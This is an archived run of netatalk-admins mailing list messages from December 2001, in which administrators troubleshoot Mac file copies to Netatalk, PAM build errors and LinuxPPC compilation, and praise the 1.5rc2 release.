X-Mailer: KMail [version 1.3.2]
References: <20011219182841Z5539-238+4564@press.uchicago.edu> <a05010401b8469f295620@[192.168.110.21]>
In-Reply-To: <a05010401b8469f295620@[192.168.110.21]>
MIME-Version: 1.0
Content-Transfer-Encoding: 7BIT
Message-Id: <20011219222045Z5991-234+4413@press.uchicago.edu>

On Wednesday 19 December 2001 01:52 pm, Wes Yates wrote:
> >I just set up a Netatalk server for about 10 Mac clients, mostly running
> > OS 9 at this point.  It seems to work just fine for those.  However, when
> > copying a directory from an OS X system, it reproducably bombs with an
> > error -50 message.  For comparison, I booted into OS 9 and the same
> > directory that fails with OS X copies OK with OS 9.
>
> You are copying _from_ and OS X system to OS 9? or to Netatalk...? Or
> from Netatalk to OS 9...? or to OS X?

>From OS X to netatalk.

>  Are you mounting the netatalk volume in OS X?
> or are you somehow mounting the OS X share on the Linux/netatalk
> side...

The former.

> So OS X "bombs"? I thought that would have been realtively improbable
> under either -- both being Unices and all...

Well, I do consider the aborted copy with the -50 error as a bomb.  No, the 
whole OS X system doesn't crash.

> OS X may have a newer or slightly different Appletalk protocol
> stack.. Who knows. Why don't you just do an NFS mount one to the
> other?

That's worth a try.

>Perhaps the OS X doesn't like the .AppleDouble!?!

How would I test this?

By the way, it looks like the problem is not so reproducable as I originally 
thought.  The directory which always gave me an error -50 copying from OS X 
to the Netatalk server yesterday copies OK today.

-- 
Roy Bixler <rcb@press.uchicago.edu>
The University of Chicago Press
http://www.press.uchicago.edu

From netatalk.administrators-errors@umich.edu  Wed Dec 19 17:35:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA15521
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 17:35:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA04022
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 17:35:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA04006
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 17:35:37 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA03916
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 17:35:35 -0500 (EST)
Received: from white-mountain.org (localhost.localdomain [127.0.0.1])
	by hermit.white-mountain.org (Postfix) with ESMTP id 17ED84437
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 14:35:33 -0800 (PST)
Message-ID: <3C2115D6.5164EB55@white-mountain.org>
Date: Wed, 19 Dec 2001 14:33:58 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: file troubles
References: <8B4EB63B99E19B4C953EECC8C223AD3A28417D@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I believe the fix is to set the sticky bit on the root of the shared
volume like so:

# chmod g+s /path/to/root/dir/of/share/on/server/

Disclaimer: this may be a stupid thing to do, or not the currently
recommended solution. However, it does work. (I only run netatalk at
home so I don't care about file permissions being a bit too lax.)

You may need to do it to all existing folders underneath the root
folder, if there are any. If you're starting with an empty directory
that's being shared, then just chmod that and new directories created in
the future will get the sticky bit.



Brian Curtis wrote:

> OK,
>
> When a user pastes a whole folder with files in it to the server they
> get an error message that they do not have permissions to open the
> file.If the copy just folder it works and if the copy just the files
> from the folder that also works.But not all at once.
>
> Also I can't seem to get quark files to open, I have seen articles
> about it before but can not find them now.
>
> Suggestions would be great,
>
> Brian
>


From netatalk.administrators-errors@umich.edu  Wed Dec 19 17:58:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA16360
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 17:58:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA01665
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 17:58:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA01649
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 17:58:51 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA01603
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 17:58:50 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167882; Wed, 19 Dec 2001 23:58:51 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101001b846af87b909@[192.168.1.201]>
In-Reply-To: <B8467772.2D331%ts@visual-s.de>
References: <B8467772.2D331%ts@visual-s.de>
Date: Wed, 19 Dec 2001 23:58:44 +0100
To: Thomas Schierle <ts@visual-s.de>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: netatalk 1.5rc1 on SuSE 7.1 PAM problems
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Thanx,

that helped!

Lorenzo

At 16:57 Uhr +0100 19.12.2001, Thomas Schierle wrote:
>I'm not near a Linux box right now -- I believe you need to install the
>PAM-devel package as well.
>
>-Thomas
>
>On 2001-12-19 15:10 +0100, Lorenzo Perone
><lopez.on.the.lists@yellowspace.net> wrote:
>
>> does anyone here know how to get thru configure in netatalk-1.5rc1 / SuSE 7.1
>> intel?
>>
>> I get:
>>
>> checking for security/pam_appl.h... yes
>> checking for pam_set_item in -lpam... no
>> configure: error: PAM support missing
>>
>> my pam version info is:
>>
>> SuSE series: a
>> Name        : pam                          Relocations: (not relocateable)
>> Version     : 0.72                              Vendor: SuSE GmbH, Nuernberg,
>> Germany
>> Release     : 169                           Build Date: Fri Jan 19 06:45:19
>> 2001
>> Install date: Sat Oct 20 00:59:30 2001      Build Host: Jones.suse.de
>>
>> æ?
>>
>>
>> If I configure without pam, I get thru, but I had problems configuring uams in
>> the past without pam support on SuSE.
>
>--
>Thomas Schierle, Munich, Germany
>
>PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Dec 19 18:42:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18193
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 18:42:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA24242
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 18:42:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA24226
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 18:42:51 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id SAA24178
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 18:42:49 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167890 for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 00:42:46 +0100
Mime-Version: 1.0
X-Sender: perone@mail.yellowspace.net (Unverified)
Message-Id: <a05101004b846d4d87803@[192.168.1.201]>
Date: Thu, 20 Dec 2001 00:42:41 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <smart@yellowspace.net>
Subject: kudos?
Content-Type: text/plain; charset="us-ascii"

wow!

it's the first time that:
- I get netatalk to compile with only one glitch in configure and no problems in make!
- I succeed in copying a big website directory we have here... (the copy used to break up on this dir, sooner or later, with -37, -50, or other jokes)
- I don't have to recover all settings after make install! It took over old etcs without overwriting!

A wonder?
I hope I can remove that question mark after a few days testing... :-)
and jump over to my linuxppc box - it's a long time I don't trya new version there.... 

;-)

Lorenzo

ps. using 
- SuSE Linux 7.1 / Intel (libc6)
- netatalk-1.5rc2


From netatalk.administrators-errors@umich.edu  Wed Dec 19 19:28:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA20061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 19:28:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA03156
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 19:28:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA03149
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 19:28:21 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA03135
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 19:28:20 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBK0RQh07867;
	Wed, 19 Dec 2001 16:27:27 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 19 Dec 2001 16:28:15 -0800
Subject: Re: kudos?
From: Steve Freitas <sflist@ihonk.com>
To: Lorenzo Perone <smart@yellowspace.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B846709E.A1F5%sflist@ihonk.com>
In-Reply-To: <a05101004b846d4d87803@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> wow!

Kudos to Sebastian, Jeff, Joe, Daniel, Andrew, and a bunch of others who
contributed fixes for different platforms and configurations. They rawk!

Steve


From netatalk.administrators-errors@umich.edu  Wed Dec 19 19:51:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 19:51:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA27171
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 19:51:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA27162
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 19:51:30 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA27132
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 19:51:29 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167899 for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 01:51:30 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101005b846e1997546@[192.168.1.201]>
Date: Thu, 20 Dec 2001 01:51:25 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: kudos! (netatalk-1.5rc2 + LinuxPPC works)
Content-Type: text/plain; charset="us-ascii"

hello,

yes, netatalk-1.5rc2 seems to compile also on LinuxPPC2000!

my configuration:
./configure --with-shadow --with-did=mtab

(I'm not using cnid for now, because of kernel panic issues on OSX's Darwin when using cnid. Besides, it should sync with samba to be an option for us).

issues I found:
1) on this distri, I had to do the usual change in configure:

where it tells:
  if test "$cross_compiling" = yes; then
  { echo "configure: error: cannot check setpgrp if cross compiling" 1>&2; exit 1; }

I changed to
  if test "$cross_compiling" = stopbegging; then
  { echo "configure: error: cannot check setpgrp if cross compiling" 1>&2; exit 1; }

(there's for sure a cleaner way to get thru the configure script, but this modification does the job.)

2) and, strange enough, these things have to be done _before_ make install:

chmod u+x on these dirs:
netatalk-1.5rc2/etc/afpd/nls/.deps
netatalk-1.5rc2/etc/afpd/nls/.libs

chmod u+x on 
netatalk-1.5rc2/etc/afpd/nls/makecode
netatalk-1.5rc2/etc/afpd/nls/parsecode

dunno why they are just rw when installing on LinuxPPC....
maybe 1) and 2) can be fixed before release?


I took over all of the settings I had before (netatalk-1.4+asun2.1.4-pre37_test);
and this time I didn't even have to mess up with uams... (a miracle)
Hope this release can stay in production...
(Yes, I have a backup, and I'll keep it freezed for a few days ;).

:-)

Regards,
Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Dec 19 20:10:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA21840
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 20:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA07018
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 20:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA07000
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 20:10:14 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id UAA06945
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 20:10:12 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000167901 for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 02:10:10 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101006b846ea808b68@[192.168.1.201]>
Date: Thu, 20 Dec 2001 02:10:06 +0100
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: SLP how-to?
Content-Type: text/plain; charset="us-ascii"

Hi,

I've seen that SLP suport seeeeems to be in the netatalk code - anyfolk knows how  to set this up?

Thanx,

:-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Dec 19 21:18:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA24954
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 21:18:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA16756
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 21:18:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA16747
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 21:18:53 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA16720
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 21:18:51 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16GsnK-0006T2-00
	for netatalk-admins@umich.edu; Thu, 20 Dec 2001 03:18:50 +0100
Received: from [212.184.146.136] (helo=[212.184.146.136])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16GsnJ-0001lP-00
	for netatalk-admins@umich.edu; Thu, 20 Dec 2001 03:18:49 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 20 Dec 2001 03:18:47 +0100
Subject: Re: file troubles
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B846F676.2ECB4%ts@visual-s.de>
In-Reply-To: <3C2115D6.5164EB55@white-mountain.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

1.5rc1 and above shouldn't throw the "not enough rights" *unless*
somebody tries to create a drop box.

For a drop box, the solution would be to compile with drop-kludge hack
enabled.

However, drop-kludge introduces security problems too. And, because it's
experimental and wasn't on focus at this beta cycle, it isn't tested
very well.

-Thomas

On 2001-12-19 23:33 +0100, Jamie Flournoy wrote:

> I believe the fix is to set the sticky bit on the root of the shared
> volume like so:
> 
> # chmod g+s /path/to/root/dir/of/share/on/server/
> 
> Disclaimer: this may be a stupid thing to do, or not the currently
> recommended solution. However, it does work. (I only run netatalk at
> home so I don't care about file permissions being a bit too lax.)
> 
> You may need to do it to all existing folders underneath the root
> folder, if there are any. If you're starting with an empty directory
> that's being shared, then just chmod that and new directories created in
> the future will get the sticky bit.
> 
> 
> 
> Brian Curtis wrote:
> 
>> OK,
>> 
>> When a user pastes a whole folder with files in it to the server they
>> get an error message that they do not have permissions to open the
>> file.If the copy just folder it works and if the copy just the files
>> from the folder that also works.But not all at once.
>> 
>> Also I can't seem to get quark files to open, I have seen articles
>> about it before but can not find them now.
>> 
>> Suggestions would be great,
>> 
>> Brian
>> 
> 

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Dec 19 21:18:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA24970
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 21:18:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA12117
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 21:18:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA12104
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 21:18:55 -0500 (EST)
Received: from moutng0.schlund.de (moutng0.kundenserver.de [212.227.126.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA12070
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 21:18:54 -0500 (EST)
Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de)
	by moutng0.schlund.de with esmtp (Exim 3.22 #2)
	id 16GsnN-00072K-00
	for netatalk-admins@umich.edu; Thu, 20 Dec 2001 03:18:53 +0100
Received: from [212.184.146.136] (helo=[212.184.146.136])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16GsnK-0001lP-00
	for netatalk-admins@umich.edu; Thu, 20 Dec 2001 03:18:51 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 20 Dec 2001 03:18:47 +0100
Subject: how to get rid of 38b?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B846FB63.2ECB5%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

darned, for testing purposes I did compile and install
pre-asun2.1.4-38b_test onto my Suse 7.3 box recently ...
without being aware of the fact there is *no* uninstall target
available.

Could a kind soul please guide me through the manual uninstall
process?

Files to trash I was able to spot are the directories:
   /usr/local/atalk
   /usr/local/atalk/bin
   /usr/local/atalk/etc
   /usr/local/atalk/include
   /usr/local/atalk/lib
   /usr/local/atalk/man
   /usr/local/atalk/sbin

and files:
   /etc/pam.d/netatalk

Any ideas where else I should look for orphaned Netatalk files?
TIA,
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Wed Dec 19 21:41:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA26095
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 21:41:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA06562
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 21:41:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA06554
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 21:41:31 -0500 (EST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA06538
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 21:41:31 -0500 (EST)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id fBK2fTu20659
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 18:41:29 -0800 (PST)
Received: from scv1.apple.com (scv1.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T57ecd0e031118064e14d8@mailgate1.apple.com>;
 Wed, 19 Dec 2001 18:41:06 -0800
Received: from wallle (wallle.apple.com [17.221.40.211])
	by scv1.apple.com (8.11.3/8.11.3) with ESMTP id fBK2fMa25515;
	Wed, 19 Dec 2001 18:41:22 -0800 (PST)
Date: Wed, 19 Dec 2001 18:41:22 -0800
Subject: Re: kudos!
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v478)
Cc: Leland Wallace <randall@apple.com>, Lorenzo Perone <smart@yellowspace.net>,
        netatalk-admins <netatalk-admins@umich.edu>
To: Steve Freitas <sflist@ihonk.com>
From: Leland Wallace <randall@apple.com>
In-Reply-To: <B846709E.A1F5%sflist@ihonk.com>
Message-Id: <0E381D17-F4F3-11D5-B6E0-000A279495A2@apple.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.478)

Kudos from here as well. netatalk-1.5rc1 on OpenBSD 2.8, install went 
flawlessly.
- Leland

On Wednesday, December 19, 2001, at 04:28 PM, Steve Freitas wrote:

>> wow!
>
> Kudos to Sebastian, Jeff, Joe, Daniel, Andrew, and a bunch of others who
> contributed fixes for different platforms and configurations. They rawk!
>
> Steve
>
>
+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Wed Dec 19 21:57:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA26549
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 21:57:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA02474
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 21:57:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA02448
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 21:57:58 -0500 (EST)
Received: from financialzoo.com ([61.6.65.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA02177
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 21:57:51 -0500 (EST)
Received: from webramp [61.6.65.2]
	by financialzoo.com [61.6.65.4]
	with SMTP (MDaemon.PRO.v4.0.2.R)
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 10:57:58 +0800
Message-ID: <008001c18902$42c919a0$df5158c6@webramp>
From: "Mike Soong" <mike.soong@financialzoo.com>
To: <netatalk-admins@umich.edu>
Subject: unsubcribe
Date: Thu, 20 Dec 2001 10:58:54 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_007D_01C18945.50DB90C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MDRemoteIP: 61.6.65.2
X-Return-Path: mike.soong@financialzoo.com
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

This is a multi-part message in MIME format.

------=_NextPart_000_007D_01C18945.50DB90C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Please unsubcribe me from the mailing list.

Thank you.


*******************************************************************************************************
All e-mails originating from financialzoo have been scanned for 
known viruses using MailScan version 2.

This email (including any attachments) is intended for the use of the individual or entity
named above and may contain information that is privileged and confidential. If you are
not the intended recipient, please note that any dissemination, distribution or copying of
this email is strictly prohibited. If you have received this email in error, or, being the
intended recipient, you do not receive the entirety of this email, please notify us
immediately by telephone at +603-7957 9622 or by return e-mail.
 
WARNING: This email has not been encrypted or transmitted via a secure link, and is
subject to the usual hazards of Internet communication. We do not guarantee the
inviolability or integrity of the contents of this email, nor do we guarantee that there has
been no unauthorised interception or modification of this email whilst in transit. Whilst
every effort has been made to ensure that this email is free from computer viruses and
other malicious code, we are unable to accept responsibility for any loss or damage
caused by or attributable to any such malicious code attached to or infecting this email.
*******************************************************************************************************

------=_NextPart_000_007D_01C18945.50DB90C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Please unsubcribe me from the mailing=20
list.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you.</FONT></DIV></BODY></HTML>


<html>
*******************************************************************************************************<br>
All e-mails originating from financialzoo have been scanned for <br>
known viruses using MailScan version 2.<br>
<br>
This email (including any attachments) is intended for the use of the individual or entity<br>
named above and may contain information that is privileged and confidential. If you are<br>
not the intended recipient, please note that any dissemination, distribution or copying of<br>
this email is strictly prohibited. If you have received this email in error, or, being the<br>
intended recipient, you do not receive the entirety of this email, please notify us<br>
immediately by telephone at +603-7957 9622 or by return e-mail.<br>
 <br>
WARNING: This email has not been encrypted or transmitted via a secure link, and is<br>
subject to the usual hazards of Internet communication. We do not guarantee the<br>
inviolability or integrity of the contents of this email, nor do we guarantee that there has<br>
been no unauthorised interception or modification of this email whilst in transit. Whilst<br>
every effort has been made to ensure that this email is free from computer viruses and<br>
other malicious code, we are unable to accept responsibility for any loss or damage<br>
caused by or attributable to any such malicious code attached to or infecting this email.<br>
*******************************************************************************************************<br>
<br>
</html>
------=_NextPart_000_007D_01C18945.50DB90C0--



From netatalk.administrators-errors@umich.edu  Wed Dec 19 23:34:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 23:34:27 -0500 (EST)
Received: (from daemon@localhost)
